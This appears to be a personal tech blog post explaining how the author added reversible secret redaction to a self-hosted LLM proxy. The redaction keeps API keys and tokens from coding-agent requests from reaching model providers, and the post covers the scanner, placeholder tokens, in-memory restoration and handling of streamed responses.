Redacted

You know the silent judging you'd do when you visited someone's house and their monitor was plastered with Post-It notes of all their passwords? To them it seemed innocent enough. It's their house, their computer, their memory sucks (the brain, not the machine), and a sticky note on the bezel tells them the password at the exact moment they need it. You'd silently roll your eyes and wonder how a person could put the keys to their entire digital life in plain view for anyone who walked by.

You'd tsk-tsk about how an inter-war period spy would have salivated over the encryption sitting unused on that very computer, and here they were laying it all bare on a three-inch square of paper. You'd try to show them 1Password, or Keeper, or honestly anything, and get nowhere. You were the weird computer nerd; they were just living their life. You saw an obvious need to keep secrets secret on your favorite piece of equipment; they saw a chore standing between them and the thing they actually sat down to do. For many, it was password123, a Post-It, and "Remember this computer," forever, in the name of convenience. And still, some part of you wanted to ask: couldn't you at least put the Post-It in the drawer next to the monitor? It would stop 99% of prying eyes, and it would cost you half a second.

The joke, it turns out, is on us. Every Post-It person eventually purchased a smartphone that keeps their passwords behind 256-bit encryption, guarded by their face or their thumb. The weird computer nerds, meanwhile, have quietly decided, in the name of convenience, to hand coding agents the run of our filesystems. These agents run on external, non-deterministic engines, and unless you are a Qwen-3.6-35B-with-a-healthy-dose-of-unified-RAM chad, they are shipping pieces of that filesystem, raw, off to whichever servers and entities host the model doing your thinking.

The uncomfortable part is that you rarely decide what gets sent. Your agent reads a config file to answer a question and the whole thing, AWS_SECRET_ACCESS_KEY and all, rides along in the request. It greps for a string and the match happens to sit two lines under a live token. It attaches a stack trace that carries a session cookie. You never pasted your keys anywhere; the agent just needed context, and your secrets were sitting in the context.

That risk lands harder for me than it might for you, because, as I've said before, collecting AI billing relationships and calling it infrastructure is my hobby. Regular readers know I run everything through my own fork of CLIProxyAPI, which points every coding agent at one endpoint and fans out to whatever subscription is cheapest that week (that's the fork I taught to run Cursor's Composer a couple months back). When I burn through my Codex or Claude limits, and I always burn through my Codex or Claude limits, I fall back to three or four low-tier plans on the overseas labs' coding tiers, because they are genuinely the best bang for the buck. Every one of those is another company I'm trusting with whatever my agent decides to shovel into a request.

Every fix I found for this felt like telling the Post-It person to go set up a password manager. Forced sandboxes, auto-deny on every tool call, an approve-this-read prompt for each file. All of it works, and all of it is scaffolding that turns up right when you're in a hurry. The entire appeal of an agent is slamming three Diet Cokes and half-watching YouTube while it does the boring part, and a system that taps you on the shoulder every time it reads a file hands that appeal back with interest. At that point I'd rather write the code by hand.

So I went looking for the drawer: the equivalent of peeling the godforsaken Post-Its off the CRT and dropping them one foot to the left. Something that stops the 99% of prying eyes that could, right now, read your unencrypted .env the second your model generates the tokens that spell it out, while getting in your way about as much as glancing into a drawer does. It is not foolproof. Someone who wants your data specifically, and is willing to work for it, can still get it. But it is enough that you stop being the easy mark with the keys taped to the glass.

So here's what I did.

Every fix I listed walls off the agent in some way, whether by sandboxing the filesystem or denying all tools by default and making you approve every read. These buy safety by making the agent less capable or autonomous, and takes away much of their...agency. But much more than I care about what my agent can touch (am btrfs-pilled), I care about what actually leaves my machine.

So the move is to blind the server, not the agent. Everything already passes through my proxy on its way to a provider, so I let the agent do whatever it wants and pull the secrets out of the request there, then slip them back into the response on the way home. Capability stays at 100%; only the provider's view loses the secret.

Reversible redaction is not a new or novel idea; in fact, Microsoft's Presidio does it for PII, and the enterprise AI gateways (Cloudflare's, Portkey, Prompt Security) have bolted DLP onto LLM traffic for a while. I am not trying to be an LLM-bro claiming he invented Regex. What I couldn't find was that trick pointed where I needed it: at secrets, instead of names and emails, self-hosted in the one proxy I already route everything through, and tuned for coding agents that stream and call tools.

So, without overcomplicating things (in this paragraph at least), it boils down to three things: find the secret, swap it for a stand-in on the way out, put the real value back on the way in.

The scanner runs BetterLeaks, a gitleaks-lineage engine, alongside a builtin pass of 21 rule families, all in real-time. Through regex-like patterns, it handles provider keys, PEM and PuTTY private keys, JWTs, even crypto seed phrases, each with a checksum or a shape test behind it rather than a bare match.

It isn't a blind grep of the body, though. The scanner knows the Anthropic and OpenAI shapes and only looks where a secret can live: prompts, message text, and tool arguments. It never touches model name or request IDs, which is also what makes it provider-aware. Every rule carries a confidence, and if it lands below 0.80 the finding is logged and dropped rather than swapped. That threshold does more work than it looks like: it means BetterLeaks, which I score conservatively, almost never redacts on its own — it rides along as a second opinion in the logs, and the 21 builtin rules are what actually pull the trigger. A wrong guess is cheap anyway, since the swap is reversible.

Once the scanner knows which bytes are the secret, the swap is mechanical. Each one gets a long structured token, __CPA_DLP_v1_…, sixty characters of marker, a fingerprint of the calling credential, a per-session nonce, a counter, and eleven characters straight out of crypto/rand. It carries no trace of the key it stands for, so nothing downstream can turn it back into one. The alphabet is deliberate too: letters, digits, dash, underscore, and nothing else, which means it survives being marshalled through JSON without picking up an escape, and my own scanner recognizes its own handiwork and won't redact it twice.

That is what AzureDiamond thought was happening to him on IRC two decades ago. His password never actually showed up as stars; mine does. Every provider I route through gets the stars, and I keep hunter2 (really a freshly-minted token per secret, held one-to-one in memory with a short TTL, but you get the point), which is how the feature ended up named hunter2-redemption.

The real value goes into a map that lives only in RAM, keyed by the stand-in, and gone after five minutes. Each entry carries the fingerprint of the credential that minted it, and a lookup only returns the secret if the caller's fingerprint matches — so another client holding a stand-in gets nothing back. There's no disk on the way. By default, it swaps out and restores; I can also tell it to scrub one-way, or block a request outright, and set that per provider: scrub the low-tier plans I'm renting this week, leave the two I already trust alone.

Restoring is the swap in reverse, and on a response that arrives whole it's trivial. But, unlike requests, responses stream, a few tokens at a time, and a sixty-character stand-in eventually gets cut in half by a frame boundary. A naive per-chunk replace would miss it and leak the fragment.

So the restore keeps a tail. Glue on whatever was held back last time, swap everything that's now complete, and then look at the bytes on the end and ask a narrow question: could this still turn into a stand-in? If the chunk trails off in the middle of my marker, or if the marker is all there and every byte since has been a legal one, those bytes stay behind until the next chunk settles it.

The bound falls out of the format. A stand-in is sixty characters, the window is a hundred and twenty-eight, and it will never hold more than a hundred and twenty-seven of them, because at a hundred and twenty-eight it would be a whole stand-in and would have been swapped rather than held. So the worst thing that can happen to your stream is that it runs a hundred and twenty-seven bytes behind for one frame. The funnier case is that my marker starts with an underscore, so any chunk that happens to end on one — my_var_, mid-identifier — holds exactly one byte back and hands it over on the next chunk. You will never notice either.

It also restores stand-ins inside tool-call arguments, so when the model echoes the key into a curl it wants to run, the command runs with the real credential and just works. The fiddliest case is a secret that itself contains quotes or newlines (a PEM key, say) landing inside those arguments, which are JSON nested inside a JSON string. Escape it one level too few and you've quietly corrupted the model's command, and getting that right took a couple tries. That's the whole round trip, which leaves the question I've been putting off: what does this actually protect you from?